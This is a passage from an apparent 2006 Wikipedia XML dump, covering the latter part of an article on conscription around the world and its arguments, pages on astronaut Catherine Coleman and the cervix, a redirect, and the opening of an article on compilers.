ROC nationals with [[Overseas Chinese]] status are exempt from service. Draftees may also request alternative service, usually in community service areas, although the required service period would be longer than military service. Qualified draftees with graduate degrees in the sciences or engineering who pass officer candidate exams may also apply to fulfill their obligations in a national defense service option which involves three months of military training, followed by an officer commission in the reserves and four years working in technical jobs in the defense industry or government research institutions. 

The Ministry of Interior is responsible for administering the National Conscription Agency. [http://www.moi.gov.tw/outline/Conscription.asp Ministry of Interior site on Consciption Administration]

''See Also:'' [[Conscription in Turkey]]

===Turkey===
In [[Turkey]], compulsory military service applies to all male citizens from twenty to forty one years of age (with some exceptions). Those who are engaged in higher education or vocational training programs prior to their military drafting are allowed to delay service until they have completed the programs. The duration of the basic military service varies. As of July [[2003]], the reduced durations are as follows: fifteen months for privates (previously eighteen months), twelve months for reserve officers (previously sixteen months) and six months for short-term privates, which denotes those who have earned a university degree and not have been enlisted as reserve officers (previously eight months).

For Turkish citizens who have lived or worked abroad of Turkey for at least three years, on condition that they pay a certain fee in foreign currencies, a basic military training of one month is offered instead of the full-term military service. Also, when the General Staff assesses that the military reserve exceeds the required amount, paid military service of one-month's basic training is established.

Although women have in principle no military service, they are allowed to become officers.

Refusing the obligatory military service due to conscientious objection is illegal in Turkey, and punishable with imprisonment by law.

===Ukraine===
The options are either reserve officer training for two years (offered in universities as a part of a program), or one year regular service.

===Venezuela===
Military service is mandatory and may last for up to two years. All men between eighteen - thirty five years of age are liable to be conscripted if not already registered as reserves or exempt from conscription by the local authority. 

Reasons for exemption include: being sole support for a family, studying college, being physically unfit. Some of these exemptions are based on subjective assessment by the local authorities and allegations of [[corruption]] and [[bribes]] periodically surface in the local media.

In past decades the policy of conscription (''la recluta'') in [[Venezuela]] used to draw its manpower from the detention of males of military age, in a similar way to the [[press gangs]] of the pre-Industrial era. This is slowly evolving into a modern and voluntary conscription system.

==Countries that do not currently have mandatory military service (partial list)==
===Argentina===
[[Argentina]] abolished military conscription in [[1994]], yet those in service had to finish it.

===Australia===
:''See main article: [[Australian Conscription|History of Australian conscription]]''

===Belgium===
[[Belgium]] suspended military conscription in 1994.

===Canada===
:''See main articles: [[Conscription Crisis of 1917]] and [[Conscription Crisis of 1944]]''

In [[Canada]] conscription has never taken place in peacetime.  Conscription became an extremely controversial issue during both [[World War I]] and [[World War II]], especially in the province of [[Quebec]].

===Czech Republic===
The [[Czech Republic]] abolished compulsory military service on [[December 31]], [[2004]]. See [http://www.army.cz/scripts/detail.php?id=3041 announcement by the Minister of Defence] and related BBC News [http://news.bbc.co.uk/2/hi/europe/4118461.stm article].

===France===
Modern conscription was invented during the [[French Revolution]], since the army needed men to stop Austrian and British invasions from destroying the newly founded [[French Republic|Republic]]. The [[1798]] [[Jean-Baptiste Jourdan|Jourdan Act]] stated: &quot;Any French is a soldier and owes himself to the defense of the nation&quot;. Thus [[Napoleon I of France|Napoleon Bonaparte]] could create afterward the ''[[Grande Armée]]'' which successfully battled European professional armies.

France abolished peacetime military conscription in [[1996]], while those born before 1979 had to complete their service (see related BBC News [http://news.bbc.co.uk/2/hi/europe/1682777.stm article]); since the [[Algerian War of Independence]] (1954-62), conscripts had not been deployed abroad or in war zones, except those volunteering for such deployments.

===Hungary===
[[Hungary]] abolished mandatory military service by [[November]] [[2004]], after the [[National Assembly of Hungary|parliament]] had modified the constitution, ending a long-standing political dispute. To restore drafting, a two-thirds vote in parliament is needed, which is unlikely in the short term. The country is currently developing a professional army, with strong emphasis on &quot;contract soldiers&quot; who voluntarily serve 4+4 years for a wage.

===India===
[[India]] has never had mandatory military service, either under [[British Raj|British rule]] or since independence in [[1947]].

===Iraq===
Saddam Hussein's large [[Iraq]]i army was largely composed of conscripts, except for the elite [[Iraqi Republican Guard|Republican Guard]]. About 100,000 conscripts died during the [[Gulf War|First Gulf War]], also known as Operation Desert Storm. In the intervening years, Iraq's military suffered from decay and poor leadership, but there was still compulsory service. One program of note was &quot;Ashbal Saddam&quot; known as &quot;Saddam's Cubs&quot; where children were trained to defend Iraq through &quot;toughening&quot; exercises such as firearms training and dismembering live chickens with their teeth. Following the [[2003 invasion of Iraq|Second Gulf War]] where the original military was disbanded, the Iraqi Army was recreated as a volunteer force with training overseen at first by the [[Coalition Provisional Authority]] and later by the American   presence.

===Ireland===
[[Ireland]] has always had a fully volunteer military. See the [http://www.military.ie/ Irish Defence Forces]. The [[Conscription Crisis of 1918 (Ireland)|threat of conscription]] being extended to Ireland in the [[World War I|First World War]] contributed to the creation of the [[Irish Free State]] in the 1920s. (''Also see: [[Conscription#United Kingdom|United Kingdom]] below'').

===Italy===
Until [[January 1]], [[2005]], [[Italy]] had mandatory military service for men between the ages of eighteen and forty five. Men were usually required to serve for ten months. Anyone objecting to military service for religious or ethical reasons could claim to be a conscientious objector, in which case community service was usually authorised as an alternative to the regular ten months of military service.

The [[Italian Parliament]], by a large majority, voted to abolish mandatory military service from [[1 January]] [[2005]], and the Italian armed forces will be now be entirely composed of professional volunteer troops, both male and female. [http://www.repubblica.it/2004/g/sezioni/cronaca/fineleva/fineleva/fineleva.html].

===Japan===
[[Japan]]'s [[Japan Self-Defense Forces|Self Defence Forces]] have been a volunteer force since their establishment in the 1950s, following the end of the Allied occupation. As the [[Japanese constitution]] expressly prohibits Japan from maintaining any offensive military force, conscription will most likely never be an issue in the near future.

===Luxembourg===
[[Luxembourg]] has a volunteer military. See the [http://www.nat-military-museum.lu/ National Museum of Military History].

===Netherlands===
The [[Netherlands]] established conscription for a territorial militia in [[1814]], simultaneously establishing a standing army which was to be manned by volunteers only. However, lack of sufficient volunteers caused the two components to be merged in [[1819]] into a &quot;cadre-militia&quot; army, in which the bulk of troops were conscripts, led by professional officers and NCOs. This system remained in use until the end of the [[Cold War]]. Between [[1991]] and [[1996]], the Dutch armed forces phased out their conscript personnel and converted to an all-volunteer force. The last conscript troops were inducted in [[1995]] and demobilized in 1996. Formally, the Netherlands has not abolished conscription; that is to say, the laws and systems which provide for the conscription of armed forces personnel remain in place, and Dutch citizens who completed their military service prior to 1996 can still, theoretically, be mobilized in the event of a national emergency.

===New Zealand===
:''See main article: [[Compulsory Military Training (in New Zealand)]]''
Conscription of men into the armed forces of [[New Zealand]] came into effect in [[1940]], and was abolished in [[1972]].

===Portugal===
[[Portugal]] abolished compulsory military service on [[November 19]], [[2004]]. See [http://www.mdn.gov.pt/destaques/2004/fim_servico_militar.htm an announcement by the Minister of Defence].

===Slovakia===
[[Slovakia]] abolished compulsory military service on [[January 1]], [[2006]].

===Slovenia===
[[Slovenia]]'s [[Prime Minister]] [[Anton Rop]] abolished mandatory military service on [[September 9]] [[2003]]. See the [http://nato.gov.si/eng/press-centre/press-releases/2212/ official press release].

===Spain===
[[Spain]] abolished compulsory military service in [[2001]]. See [http://www.elmundo.es/elmundo/2001/03/09/espana/984145280.html an announcement by the Minister of Defence]. Military and alternative service was nine months long and in recent years the majority of conscripts chose to perform alternative, rather than military, service.

===United Kingdom===
The [[United Kingdom]] introduced conscription during both world wars. For the first two years of [[World War I]] the British relied on volunteers. But by 1916 the need for yet more soldiers to replace losses at the front, forced the British Government to introduce conscription under the [[Military Service Act]].  [[Conscientious objector]]s received relatively harsh treatment in the 1914-18 war.  Most had to do war-related work of a non-military sort.  Some went to jail.

[[Ireland]] was initially exempt from conscription in the First World War, but it was extended to Ireland on [[April 9]], [[1918]]. This led a [[Conscription Crisis of 1918 (Ireland)|Conscription Crisis in Ireland]] and was a decisive factor in pushing the country into seeking its [[Anglo-Irish War|independence]]. The poet [[William Butler Yeats|W.B. Yeats]] wrote to [[Richard Burdon Haldane, 1st Viscount Haldane|Lord Haldane]] in protest: &quot;...it seems to me a strangely wanton thing that England, for the sake of 50,000 Irish soldiers, is prepared to hollow another trench between the countries and fill it with blood.&quot; Also in protest, [[Augusta, Lady Gregory|Lady Gregory]] declared &quot;women and children will stand in front of their men and receive the bullets, rather than let them be taken to the front.&quot;  [[Northern Ireland]] was exempt from conscription in the Second World War, and was also excluded from the post-war National Service.

Conscription was reintroduced in 1939 at the start of [[World War II]]. Not only was conscription used for the three branches of the armed forces, it was also introduced to aid in coal mining with the [[Bevin Boys]], and later in the war with the introduction of conscription of women into the [[Women's Land Army]] to help with agricultural production.  Conscientious objectors were treated more tolerantly, but could still go to prison if they refused war-related work.

After World War II, the Government introduced [[National Service]], which was abolished in [[1960]].

===United States===
{{main|Conscription in the United States}}
The United States has employed conscription intermittently.  For example, in 1863 the imposition of a draft during the [[United States Civil War|Civil War]] touched off the [[New York Draft Riots]].  Conscription was next used after the United States entered World War I in 1917.  The first peacetime conscription came with the [[Selective Service Act|Selective Training and Service Act of 1940]].  Active conscription (&quot;the draft&quot;) ended in 1973.  Currently, male U.S. citizens and many male foreigners living in the U.S., if aged eighteen through twenty five, are required to register with the [[Selective Service System]], whose mission is &quot;to provide manpower to the armed forces in an emergency; and to run an Alternative Service Program for men classified as [[conscientious objectors]] during a draft.&quot;

One of the holders of the first number (258) in the U.S. military draft lottery in 1917 was an Alden C. Flagg. His son, Alden C. Flagg, Jr., of Boston, was a holder of the first number (158) in the U.S. peacetime draft lottery of 1940.

==Arguments for conscription==
===Valuable training===
Some argue that peacetime conscription is an ideal tool for teaching a population basic, important skills such as first aid, swimming, wilderness survival and so on. However, it can be argued that these skills could better be taught in the public school system than during mandatory service.

===The draft as protection against democracy-destroying [[Coup d'état|military coups]]===
Some argue that conscription should be connected to democracy. A professional army can possibly become a dangerous state-within-a-state. Military [[virtue]]s such as obedience to orders and respect for the chain of command can possibly be abused by aspiring [[dictator]]s. Armed forces can attract - consciously or unconsciously - people who prefer [[authoritarianism|authoritarian]] systems. The army can even become the only chance for a job and decent life in times of unemployment, or for despised minorities. Such people may come to regard the army as their home and elevate it above the state.

On the other hand, once in power a number of dictators such as [[Napoléon Bonaparte|Napoleon]], [[Adolf Hitler|Hitler]], [[Joseph Stalin|Stalin]], and [[Saddam Hussein]] have used conscription to drive their undemocratic ambitions. The most significant [[July 20 Plot|attempt on Hitler's life]] was from the professional component of his military.

===Manpower===
Small countries have several options to raise a sizeable army. One is to put every able-bodied man under arms. This is how [[Switzerland]] managed to stay independent despite repeated attacks throughout history. The [[Swiss]] militias were so successful that their fighting style and weapons (especially the [[halberd]]) were quickly adopted by their enemies. Many rulers even raised [[Swiss Guard]]s. The rich [[Flanders (county)|Flemish]] trade cities of the early [[14th century]]  raised huge militias that could even defeat armies of knights. The famous [[Battle of the Golden Spurs]] ([[1302]]) is a good example. 

Other options for national defence include membership in a military alliance like [[NATO]], as is the case for countries like [[Belgium]] and [[Luxembourg]]. Switzerland started out as a military alliance between independent counties. 

Also, a wealthy small country could hire a professional [[mercenary]] army. This approach does, however, require wealth and men who are willing to hire on. Moreover, it required some means to control the mercenaries if they became unruly.

===Personnel diversity===
Perhaps the kind of people who most strongly want to be in the military are not always the only kind of people who are needed in it. Conscripts come from various backgrounds and might have differing opinions and views. A diverse group is arguably more likely to succeed at any task. Still, the frequently lower morale and experience of conscripts may make them less useful in actual combat situations, especially in wars of aggression. This has been witnessed in the [[Vietnam War]] and [[Soviet-Afghan War]].

Personnel diversity might be bad for armies in some ways, by inhibiting communication and increasing social tension, but it also helps different people come together and realize the true nature of an all-inclusive society. For example, it helps them understand the problems of other classes, professions, cultures, and educational levels. Similar arguments have been presented in favor of [[desegregation]] in schools. However, in countries that already have desegregated schools (i.e. most of the western world) it is not clear why the armed forces would be more important in bringing different people together than the school system, or could accomplish this in ways in which the school system could not.

===Conscript quality===
The manpower quality of a conscript force is considered poor in many countries. However, in some countries with conscription, the personnel diversity of the conscript force is considered its greatest strength. Admittedly, there are persons who would not be employed by a professional force, but these are a minority, and can be discharged for medical reasons in extreme cases.

However, the conscript force may also receive the best of the youth. Many conscripts are from such social strata that they would have much more lucrative employment or would be studying, were they not obliged to serve. These persons provide talented manpower that can easily be trained for technical and leadership duties. As junior NCO and commissioned officer positions are filled with leadership-trained conscripts, the size and cost of the professional cadre is much smaller. As these ex-conscripts, as reservists, mature and lose their fighting fitness, they can be subsequently retrained and given emergency positions corresponding their civilian expertise. For example, a transport manager who is a reserve officer might serve as a battalion logistics chief during wartime. The leadership-trained conscripts can also be recruited to the regular forces.

===Political and moral motives===
[[Jean Jacques Rousseau]] argued vehemently against professional armies, feeling it was the right and privilege of every citizen to participate to the defence of the whole society and a mark of moral decline to leave this business to professionals. He based this view on the development of the [[Roman republic]] which came to an end at the same time as the Roman army changed from a conscript to professional force.

The right of the state to conscript its citizens can be founded on [[utilitarian|Utilitarianism]] principles. First, we conjecture that the army must never be used for a war of aggression, but only to preserve the state. Second, we conjecture that the occupation by a foreign country would include unbearable conditions, e.g. [[genocide]] or destruction of the local way of life. If these two requirements are fulfilled, the greatest good to the greatest number of person may be achieved by sacrificing a number of persons and thus, these persons, the reservists serving in the armed forces, should be willing to make this sacrifice out of altruism. In fact, even without accepting this, the moderate (1-10 %) chance of dying compared to the prospect of living in an occupied country may be preferable.

Conscription can give the conscripts a lasting patriotic view and readiness to die for the good of the whole. Such readiness should be present in a virtuous citizen at all times, but through training, the readiness becomes a grim reality, not rhetoric. This tends to decrease the admiration of the military. On the other hand, the fact that every person understands that a war - any war - means that they themselves, friends, and relatives will be dying or at the least, facing mortal danger, decreases the willingness to enter an armed conflict. In practice, a conscript force cannot be used for an aggressive war for long, as this results in morale degradation both at home and on the front, testified by [[Afghanistan War|Afghanistan]] and [[Vietnam War]]s. This decreases the possibility of the government to engage in foreign adventures, thus preserving peaceful relations to all nations on Earth.

==Arguments against conscription==
===Conscription and the Universal Declaration of Human Rights===
Many arguments opposed to conscription, or opposed to gender-discriminated conscription, arise from its violation of the principles of the [[Universal Declaration of Human Rights]] of the [[United Nations]]. In particular:
* Art.1: ''All human beings are born free and equal in dignity and rights. (...)''
* Art.2: ''Everyone is entitled to all the rights and freedoms set forth in this Declaration, without distinction of any kind, such as (...) sex (...)''
* Art.3: ''Everyone has the right to life, liberty and security of person.''
* Art.4: ''No one shall be held in (...) servitude (...)''
* Art.13: ''(1)Everyone has the right to freedom of movement and residence within the borders of each state. (2) Everyone has the right to leave any country, including his own, and to return to his country.''
* Art.20: ''(...) No one may be compelled to belong to an association.''
* Art.23: ''Everyone has the right (...) to free choice of employment (...)''

In addition, many Constitutions do provide similar rights in Countries where there is or has been some form of conscription after [[World War II]] or that maintain a possibility of conscription in time of war.

===The draft as slavery===
:''Conscription subjects individual personalities to militarism. It is a form of servitude. That nations routinely tolerate it, is just one more proof of its debilitating influence''
:&amp;mdash; [[Albert Einstein]], [[Sigmund Freud]], [[H.G. Wells]], [[Bertrand Russell]] and [[Thomas Mann]] in [http://www.peace.ca/manifestoagainstconscription.htm Against Conscription and the Military Training of Youth--1930]

Some groups, such as [[libertarians]], say that the draft constitutes [[slavery]], since it is mandatory work.  Under the [[Thirteenth Amendment to the United States Constitution|Thirteenth Amendment]] to the U.S. Constitution, slavery or indentured servitude is not allowed unless it is part of punishment for a crime.  They therefore see the draft as ''[[unconstitutional]]'' (at least in the U.S.) and immoral.  In 1918, the [[Supreme Court of the United States|Supreme Court]] ruled that the [[World War I]] draft did not violate the [[United States Constitution]].  ''Arver v. United States'', 245 U.S. 366 (1918) ([http://caselaw.lp.findlaw.com/cgi-bin/getcase.pl?court=US&amp;vol=245&amp;invol=366]).  The Court detailed its conclusion that the limited powers of the federal government included conscription.  Its only statement on the [[Thirteenth Amendment to the United States Constitution|Thirteenth Amendment]] issue was based on a &quot;supreme and noble duty&quot; argument from nationalism and not legal reasoning:
:Finally, as we are unable to conceive upon what theory the exaction by government from the citizen of the performance of his supreme and noble duty of contributing to the defense of the rights and honor of the nation as the result of a war declared by the great representative body of the people can be said to be the imposition of [[involuntary servitude]] in violation of the prohibitions of the Thirteenth Amendment, we are constrained to the conclusion that the contention to that effect is refuted by its mere statement.

In the USSR, most of the conscripts received only very basic training and were used for forced labor unrelated to actual military service - usually digging up potatoes in the field with zero wage cost. The Soviet planned economy system thus had no incentive to produce better combined harvesting machines and Soviet agriculture remained low-tech.

In [[Soviet-bloc]] [[Hungary]], more than half of pre-1989 conscripts received a mere few weeks of [[rifle]] training and were swiftly assigned to &quot;working squadrons&quot; which usually hand-built [[rail tracks]] &quot;for free&quot;, and in very poor quality. At the same time, railway tracks in Western Europe were being built to high-quality standards by semi-automatic, rail-rolling factories operated by a professional workforce.

These are examples of a &quot;military&quot; draft used to obtain involuntary labour.They also illustrate one key theme of Adam Smith and other liberal economists that Liberty is the key method of social improvement. When compulsion takes the place of free markets and free Labour the efficiency of the economy is reduced. Compulsion also means that the Wages and working conditions of the Workers is inferior. David Hume points out that this was illustrated by the press gang. The legalised abduction of citizens by the state makes for military inefficiency as well as economic inefficiency and a denial of Constitutional freedom. When Labour is too cheap it will be wasted as other commodities are and this is one reason for the collapse of Communism in the USSR.

===Discipline problems===
No army can work without discipline. The discipline can either arise from the ''esprit de corps'', motivation of the soldiers or be imposed and pressed on the troops. Volunteers seldom have disciplinary problems, but people pressed in the service against their will have little other motivation to serve than personal survival, and perhaps change to get to rape and loot enemy civilians. As motivation is based on [[coercion]], the discipline on conscript armies is often harsh, and punishments severe. [[Capital punishment]], usually by [[firing squad]], is used almost universally to maintain discipline on conscription armies during the wartime. It is estimated the executions covered some 1% to 5% of all conscript losses in WWII. This can be best summarized by statement of [[Leon Trotsky]]: ''An army cannot be built without reprisals. Masses of men cannot be led to death unless the army command has the death penalty in its arsenal. So long as those malicious tailless apes that are so proud of their technical achievements — the animals that we call men — will build armies and wage wars, the command will always be obliged to place the soldiers between the possible death in the front and the inevitable one in the rear.'' As result, conscript armies are more likely to mutiny than all-volunteer forces, and like the [[Vlasov army]], can in extreme cases turn against their own.

===The draft as nationalism===
The military draft is predicated on the assumption that nations have rights that supersede those of the individual. In the words of Einstein and Gandhi's ''Anti-Conscription Manifesto'', &quot;The State which thinks itself entitled to force its citizens to go to war will never pay proper regard to the value and happiness of their lives in peace.&quot; The building of large conscript armies coincided with the rise of virulent [[nationalism]] in the 19th and 20th centuries.

Draftees can object being conscripted if they are [[separatism|separatists]] and do not want to support the armies of the state they oppose.
On the other hand, some separatist fighters acquire their military skills in the army they will later fight against.

===The draft as justification for attacks on civilians===
Conscription is a component of &quot;total war,&quot; and can also be used as an example of established policy to justify a government's demand that other sacrifices be required of civilians.  Once a draft is allowed, Justice [[Louis Brandeis]] argued, &amp;#8220;all bets are off&quot;. Arguably this results in a blurring of the moral distinction between civilians and the military as legitimate military targets, leading to attacks on civilians. Examples would include the indiscriminate bombing of cities conducted by both sides during [[World War II]], or the assertion by terrorist groups that civilians are legitimate targets.

===Questions of conscript quality===
One of the objections raised is a conscripted force would be of lower quality than a volunteer army.  First, short periods of service do not allow for much skill building.  Second, there is a possibility of a morale drop in units with conscripts, leading to a reduction in quality as officers and NCOs work to alleviate those problems.

The biggest problem is that the pace of training has to be adjusted to the level of the lowest quality manpower. Combined with the short tour of duty, this renders the skills of the conscripts very low. Certain individuals with poor military and social skills may prove [[loose cannon]]s in wartime, proving more a liability than an asset to the unit and perhaps risking the destruction of the whole unit. Therefore the [[elite]] units of all armies which have conscription, are composed entirely of selected volunteers, such as [[paratroops|Parachute Rangers]] in the Finnish army.

==Economics==
It can be argued that in a cost to benefit ratio conscription during peace time is not worthwhile. A number of months or years of service amongst the most fit subtracts from the productivity of the economy; add to this the cost of training them, and in some countries paying them. Compared to these extensive costs, some would argue there is very little benefit, if there ever were a war conscription and basic training could be completed quickly, and in most countries where conscription is compulsory there is little threat of war in any case.

The cost to benefit ratio of conscription during war time is also debatable. As technology improves, the necessity of a soldier on the battlefield becomes less and less necessary. Superior technology, not superior numbers, has become the deciding factor in war. The cost to train, equip, and care for a poorly trained conscript does not justify the contribution (if any) he or she makes to the armed forces.

Alternative theories suggest that readiness for war in times of crises require constant training or conscription.  These fall under the category of &quot;credible threat&quot; recently popularized by 2005 Nobel economic laureates Robert Aumann and Thomas Schelling who were  partially credited with the non-nuclear cold war between the United States and the former Soviet Union.  

Particulary in times of military duress, such as the current U.S. conflict in Iraq, conscription serves as an instrument through which fresh soldiers may be readied when reserves and voluntary troops have been overutilized.  These new troops ultimately provide more efficient use of U.S. economic resources due to the fact that individuals plan for military involvement as a normal activity.  Draft assignments, in contrast, disrupt everyday activity and lead to possibly greater economic shock.

==See also==
* [[Antimilitarism]]
* [[Bevin Boys]]
* [[Conscientious objection]]
* [[Corvée]]
* [[Michel Foucault]]'s theory of &quot;disciplinary institutions&quot;
* [[Impressment]]
* [[Indentured servant]]
* [[Involuntary servitude]]
* [[Machiavelli]]'s thought on the superiority of conscription over mercenaries and professional armies.
* [[Military]]
* [[Military history]]
* [[Military service]]
* [[Military of Switzerland|Swiss Army]]
* [[National Service]]
* [[Jean-Jacques Rousseau|Rousseau, Jean-Jacques]]
* [[Timeline of women's participation in warfare]]
* [[Military recruitment]]
* [[Economic conscription]]

==External links==
* [http://home.snafu.de/mkgandhi/manifest.htm Manifesto Against Conscription and the Military System, with an updated list of all signatories from 1993 to 2005].
* Albert Einstein and Mahatma Gandhi. [http://www.peace.ca/manifestoagainstconscription.htm Manifesto Against Conscription and the Military System].
* [http://www.foodnotbombs.nl/pages/Slovakia.htm Campaign to Abolish Mandatory Military Service in Slovakia]
* [http://edition.cnn.com/2002/ALLPOLITICS/12/29/mandatory.military/ Rangel calls for mandatory military service]
* [http://www.iosmms.org.tw/KUN_1.HTM The Association for   Injured Officers And Soldiers of Mandatory Military Service, Republic of China]
* [http://www.ebco-beoc.org The European Bureau for Conscientious Objection]
* [http://www.omhroi.gr Campaign Against Conscription in Greece]
* [http://www.takver.com/history/matteson.htm Australian Draft Resistance and the Vietnam War]
* [http://warmuseum.ca/cwm/newspapers/canadawar/conscription_e.html Canadian Newspaper Archives - Conscription]
* [http://h.webring.com/hub?ring=anticonscription Anti-Conscription Web Ring]
* [http://www.wri-irg.org/co/rtba/ Refusing to bear arms]: a survey around the world, conducted by &quot;War Resisters' International&quot; about conscription and conscientious objection to military service.
* [http://wwwnew.towson.edu/clt/editorials/peak5.html What To Do If There Is A Draft]
* [http://www.historyguy.com/issues_draft.html The History Guy:Issues: Military Draft/Conscription]: Information and links on the military draft issue.

[[Category:Conscription|*]]
[[Category:Nationalism]]
[[Category:Political theories]]
[[Category:Politics about the military]]
[[Category:War]]
[[Category:Warfare]]

[[da:Værnepligt]]
[[de:Wehrpflicht]]
[[fi:Asevelvollisuus]]
[[fr:Conscription]]
[[id:Wajib militer]]
[[it:Servizio di leva]]
[[ja:徴兵制度]]
[[ko:징병제]]
[[nl:Dienstplicht]]
[[nn:Verneplikt]]
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[[sv:Värnplikt]]</text>
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  </page>
  <page>
    <title>Catherine Coleman</title>
    <id>5736</id>
    <revision>
      <id>41769617</id>
      <timestamp>2006-03-01T16:50:08Z</timestamp>
      <contributor>
        <username>Abbyemery</username>
        <id>202460</id>
      </contributor>
      <text xml:space="preserve">[[Image:CatherineColeman.jpg|thumb|Catherine Coleman]]
'''Catherine ''Cady'' Coleman''' (born [[December 14]], [[1960]], in [[Charleston, South Carolina]]) is a colonel in the [[United States Air Force]] and an [[astronaut]]. 

She received a bachelor of science degree in [[chemistry]] from the [[Massachusetts Institute of Technology]] in [[1983]], and then joined the Air Force as a second lieutenant while continuing her graduate work at the [[University of Massachusetts]]. In [[1988]] she entered active duty at [[Wright-Patterson Air Force Base]] as a research chemist. During her work she also participated at the analysis of the Long Duration Exposure Facility (LDEF) experiment launched with [[STS-41-C]] and retrieved with [[STS-32]]. In [[1991]] she received her [[doctorate]] in [[polymer science]] and engineering from the [[University of Massachusetts]]. She was selected by [[NASA]] in [[1992]] to become a mission specialist astronaut.

She has taken part in two [[space shuttle]] missions so far. In [[1995]] she was a member of the [[STS-73]] crew on the scientific mission USML-1 with experiments including [[biotechnology]], combustion science and the [[physics]] of [[fluids]].

She also trained for the mission [[STS-83]] to be the backup for [[Donald Thomas]], however as he recovered on time she did not fly that mission.

[[STS-93]] was Coleman's second space flight. She was mission specialist in charge of placing the [[Chandra X-ray Observatory]] in orbit.

Coleman is married to acclaimed contemporary glass artist Josh Simpson.

==External links==

*[http://www.jsc.nasa.gov/Bios/htmlbios/coleman.html NASA biography]
*[http://www.spacefacts.de/bios/astronauts/english/coleman_catherine.htm Spacefacts biography of Catherine Coleman]


{{astronaut-stub}}

[[Category:1960 births|Coleman, Catherine]]
[[Category:Living people|Coleman, Catherine]]
[[Category:American astronauts|Coleman, Catherine]]
[[Category:Colonels|Coleman, Catherine]]
[[Category:United States Air Force officers|Coleman, Catherine]]
[[Category:Women in space|Coleman, Catherine]]
[[Category:Women in war|Coleman, Catherine]]</text>
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  <page>
    <title>Cross cutting</title>
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      <text xml:space="preserve">#REDIRECT [[Cross-cutting]]</text>
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  <page>
    <title>Cervix</title>
    <id>5738</id>
    <revision>
      <id>41961995</id>
      <timestamp>2006-03-02T22:25:53Z</timestamp>
      <contributor>
        <username>FloNight</username>
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      <comment>Revert to revision 41677457 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Female anatomy frontal.png|right|thumb|240px|Schematic frontal view of female anatomy]]

The '''cervix''' (from [[Latin]] &quot;neck&quot;) is actually the lower, narrow portion of the [[uterus]] where it joins with the top end of the [[vagina]]. It is cylindrical or conical in shape and protrudes through the upper anterior vaginal wall. Approximately half its length is visible with appropriate medical equipment; the remainder lies above the vagina beyond view. It is occasionally called &quot;cervix uteri&quot;, or &quot;neck of the uterus&quot;.

==Anatomy==
===Ectocervix===
The portion projecting into the vagina is referred to as the ''portio vaginalis'' or ''ectocervix''. On average, the ectocervix is 3 cm long and 2.5 cm wide. It has a convex, elliptical surface and is divided into anterior and posterior lips. 
====External Os====
The ectocervix's opening is called the ''external os''. The size and shape of the external os and the ectocervix varies widely with age, hormonal state, and whether the woman has had a vaginal birth. In women who have not had a vaginal birth the external os appears as a small, circular opening. In women who have had a vaginal birth, the ectocervix appears bulkier and the external os appears wider, more slit-like and gaping.

===Endocervical canal===
The passageway between the external os and the uterine cavity is referred to as the ''endocervical canal''. It varies widely in length and width, along with the cervix overall. Flattened anterior to posterior, the endocervical canal measures 7 to 8 mm at its widest in reproductive-aged women. 

===Internal Os===
The endocervical canal terminates at the ''internal os'' which is the opening of the cervix inside the uterine cavity.

==Cervical mucus==
Normally the external os is blocked by a thick [[mucus]] that prevents [[infection]], however the mucus thins when [[ovum]] are ready to be fertilized, allowing [[spermatazoa]] to pass through the cervix. Most [[oral contraceptive]]s increase their effectiveness by not allowing this mucus to thin, therefore blocking spermatazoa from passing even when ovum are ready to be fertilized. During pregnancy the cervix is completely blocked by a special antibacterial mucosal plug which prevents infection as before. The mucous plug comes out as the cervix dilates in labor or shortly before.

==Functionality==
During [[orgasm]], the cervix convulses and the external os dilates.  Dr. R. Robin Baker and Dr. Mark A. Bellis, both at the [[University of Manchester]], first proposed that this behavior worked in such a way as to draw any [[semen]] in the vagina into the uterus, increasing the likelihood of [[conception]].  Later researchers, most notably Elisabeth A. Lloyd, have questioned the logic of this theory and the quality of the experimental data used to back it.

During [[menstruation]] the cervix stretches open slightly to allow the [[endometrium]] to be shed. This stretching is believed to be part of the [[cramp|cramping]] pain that many women experience. Evidence for this is given by the fact that some women's cramps subside or disappear after their first baby because the cervical opening has widened.

During [[childbirth]], contractions of the uterus will dilate the cervix up to 10 cm in diameter to allow the child to pass through.

==Cervical cancer==
In humans the cervix is associated with [[cervical cancer]], a particular form of [[cancer]] which is detectable by [[cytology|cytological]] study of [[epidermis (skin)|epidermal]] [[cell (biology)|cells]] removed from the cervix in a process known as the [[pap smear]]. Evidence now shows that those with exposure to HPV, or the [[human papilloma virus]], are at increased risk for cervical cancer. This virus is related to the virus that causes [[wart]]s.

==Lymphatic drainage==
The [[Lymphatic system|lymphatic drainage]] of the cervix is along the [[uterine artery|uterine arteries]] and [[cardinal ligament]]s to the parametrial, [[iliac lymph node|external iliac]], internal iliac, [[obturator lymph node|obturator]], and presacral [[lymph node]]s. From these pelvic lymph nodes, drainage then proceeds to the [[paraaortic lymph node]]s.

==See also==
*[[Wiktionary:WikiSaurus:cervix|WikiSaurus:cervix]] &amp;mdash; the [[Wiktionary|WikiSaurus]] list of synonyms and slang words for the cervix in many languages

{{reproductive system}}

[[Category:Female reproductive system]]
[[Category:Gynecology]]
[[Category:Reproductive system]]

[[cs:Děložní hrdlo]]
[[de:Cervix uteri]]
[[es:Cérvix]]
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[[he:צוואר הרחם]]
[[ja:子宮頚部]]
[[lt:Gimdos kaklelis]]
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[[simple:Cervix]]</text>
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  <page>
    <title>Compiler</title>
    <id>5739</id>
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      <id>42152070</id>
      <timestamp>2006-03-04T04:03:19Z</timestamp>
      <contributor>
        <username>R. S. Shaw</username>
        <id>102175</id>
      </contributor>
      <comment>/* Front end */ pre-what</comment>
      <text xml:space="preserve">[[Image:Ideal compiler.png|right|thumb|300px|A diagram of the operation of a typical multi-language compiler.]]

A '''compiler''' is a  [[computer program]] (or set of programs) that translates text written in a [[computer language]] (the ''source language'') into another computer language (the ''target language''). The original sequence is usually called the ''[[source code]]'' and the output called ''[[object code]]''.  Commonly the output has a form suitable for processing by other programs (e.g., a [[linker]]), but it may be a human readable [[text file]].

The most common reason for wanting to translate source code is to create an [[executable]] program.  The name &quot;compiler&quot; is reserved for programs that translate source code from a [[High-level programming language|high level language]] to a lower level language (e.g., [[assembly language]] or [[machine language]]).  A program that translates from a low level language to a higher level one is a ''[[decompiler]]''.  A program that translates between high-level languages is usually called a ''language translator'', ''source to source translator'', or ''language converter''. A ''language [[rewriting|rewriter]]'' is usually a program that translates the form of expressions without a change of language.

